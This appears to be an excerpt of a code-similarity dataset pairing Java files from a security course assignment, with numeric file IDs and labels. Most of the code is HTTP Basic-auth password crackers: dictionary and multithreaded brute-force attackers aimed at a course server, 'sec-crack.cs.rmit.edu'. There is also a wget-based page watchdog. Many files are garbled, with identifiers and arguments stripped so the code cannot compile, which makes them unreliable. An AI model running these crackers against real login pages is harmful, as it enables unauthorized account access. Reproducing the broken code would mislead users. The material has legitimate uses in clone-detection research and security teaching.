System.out.println("Error dictionary");
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
} | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
136.java | 182.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
public class MyWatchDogTimer extends TimerTask
{
public void run()
{
Runtime rt = Runtime.getRuntime();
Process prss= null;
String initialmd5,presentmd5,finalmd5,temp1;
String mesg1 = new String();
String subject = new String("Report of WatchDog");
int i;
try
{
prss = rt.exec("md5sum first.html");
InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread1 = new BufferedReader(instre1);
sw = bufread1.readLine();
i = finalmd5.indexOf(' ');
initialmd5 = finalmd5.substring(0,i);
System.out.println("this is of first.html--->"+initialmd5);
prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");
prss = rt.exec("md5sum present.html");
InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread2 = new BufferedReader(instre2);
temp1 = bufread2.readLine();
i = temp1.indexOf(' ');
presentmd5 = temp1.substring(0,i);
System.out.println("this is of present.html---->"+presentmd5);
if(initialmd5.equals(presentmd5))
System.out.println("The checksum found using md5sum is same");
else
{
prss = rt.exec("diff first.html present.html > diff.html");
System.out.println(" is different");
prss = null;
mesg1 ="php mail.php";
prss = rt.exec(mesg1);
}
prss = rt.exec("rm present.*");
}catch(java.io.IOException e){}
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
051.java | 182.java | 0 | import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = "";
String pword = "null";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + ":" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println("in catch");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty ("Authorization", " " + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword);
doConnect(i, i+1);
}
else
{
System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:");
System.out.println( +"\tPassword : "+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
062.java | 182.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class BruteForce {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i ;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String constructPassword( int idx) {
int i = idxLimit.length-2;
boolean processed = false;
String result = "";
while (i>=0) {
if (idx>=idxLimit[i]) {
int nchar = i + 1;
idx-=idxLimit[i];
for (int j=0;j<nchar;j++) {
x = (idx % NCHAR);
result = charset.charAt((int) x) + result;
idx /= NCHAR;
}
break;
}
i--;
}
return result;
}
public String getStartStr() {
return constructPassword(this.startidx);
}
public String getEndStr() {
return constructPassword(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
launchRequest(getName(), idx, constructPassword(i));
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" Characters : "+charset);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
}
i = System.currentTimeMillis();
idxstart = idxLimit[MINCHAR-1];
if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
mult = (ALLCOMBI - idxstart) / MAXTHREAD;
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult + idxstart;
endidx = (thcount+1)*mult-1 + idxstart;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult + idxstart;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public BruteForce() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,1000,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Brute force mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Brute force mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" charset : (optional) the character set used crack.");
System.out.println(" - (default)");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -alphanum ");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
System.out.println(" -alphalow ");
System.out.println(" abcdefghijklmnopqrstuvwxyz");
System.out.println(" -alphaup ");
System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -number ");
System.out.println(" 1234567890");
System.out.println(" [custom] e.g. aAbB123");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 10 (default = 1)");
System.out.println(" <= <= 10 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [charset] is specified, then [], [], and");
System.out.println(" [username] have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java BruteForce ");
System.out.println(" java BruteForce 0");
System.out.println(" java BruteForce 1 http://localhost/tryme.php");
System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 ");
System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
System.out.println();
System.out.println();
}
public static void countIdxLimit() {
idxLimit = new int[MAXCHAR+1];
NCHAR = charset.length();
ALLCOMBI = 0;
for (int i=0;i<=MAXCHAR;i++) {
if (i==0) {
idxLimit[i] = 0;
} else {
idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
}
}
ALLCOMBI = idxLimit[idxLimit.length-1];
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==6) {
try {
MINCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[4]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[4]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>10)) {
System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>10) {
System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)");
printSyntax();
System.exit(1);
}
if (args[2].toLowerCase().equals("-")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-alphanum")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
} else
if (args[2].toLowerCase().equals("-alphalow")) {
charset = "abcdefghijklmnopqrstuvwxyz";
} else
if (args[2].toLowerCase().equals("-alphaup")) {
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-number")) {
charset = "1234567890";
} else {
charset = args[2];
}
USERNAME = args[5];
} else
if ((argc>2) && (argc<6)) {
System.out.println("Please specify the [charset], [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>6)) {
System.out.println("The number of parameters expected is not more than 6. ");
System.out.println(" have specified more than 6 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main (String[] args) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[6];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = "-";
args[3] = String.valueOf(MINCHAR);
args[4] = String.valueOf(MAXCHAR);
args[5] = USERNAME;
}
paramCheck(args);
countIdxLimit();
Application = new BruteForce();
}
public static BruteForce Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 10;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
public static String charset;
public static int NCHAR;
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
024.java | 201.java | 0 |
import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;
public class PasswordCombination
{
private int pwdCounter = 0;
private int startTime;
private String str1,str2,str3;
private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";
private String loginPwd;
private String[] password;
private HoldSharedData data;
private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m',
'n','o','p','q','r','s','t','u','v','w','x','y','z'};
public PasswordCombination()
{
System.out.println("Programmed by for INTE1070 Assignment 2");
String input = JOptionPane.showInputDialog( "Enter number of threads" );
if( input == null )
System.exit(0);
int numOfConnections = Integer.parseInt( input );
startTime = System.currentTimeMillis();
int pwdCounter = 52*52*52 + 52*52 + 52;
password = new String[pwdCounter];
doPwdCombination();
System.out.println("Total Number of Passwords Generated: " + pwdCounter);
createConnectionThread( numOfConnections );
}
private void doPwdCombination()
{
for( int i = 0; i < 52; i ++ )
{
str1 = "" + chars[i];
password[pwdCounter++] = "" + chars[i];
System.err.print( str1 + " | " );
for( int j = 0; j < 52; j ++ )
{
str2 = str1 + chars[j];
password[pwdCounter++] = str1 + chars[j];
for( int k = 0; k < 52; k ++ )
{
str3 = str2 + chars[k];
password[pwdCounter++] = str2 + chars[k];
}
}
}
System.err.println( "\n" );
}
private void loadPasswords( )
{
FileReader fRead;
BufferedReader buf;
String line = null;
String fileName = "words";
try
{
fRead = new FileReader( fileName );
buf = new BufferedReader(fRead);
while((line = buf.readLine( )) != null)
{
password[pwdCounter++] = line;
}
}
catch(FileNotFoundException e)
{
System.err.println("File not found: " + fileName);
}
catch(IOException ioe)
{
System.err.println("IO Error " + ioe);
}
}
private void createConnectionThread( int input )
{
data = new HoldSharedData( startTime, password, pwdCounter );
int numOfThreads = input;
int batch = pwdCounter/numOfThreads + 1;
numOfThreads = pwdCounter/batch + 1;
System.out.println("Number of Connection Threads Used:" + numOfThreads);
ConnectionThread[] connThread = new ConnectionThread[numOfThreads];
for( int index = 0; index < numOfThreads; index ++ )
{
connThread[index] = new ConnectionThread( url, index, batch, data );
connThread[index].conn();
}
}
} |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
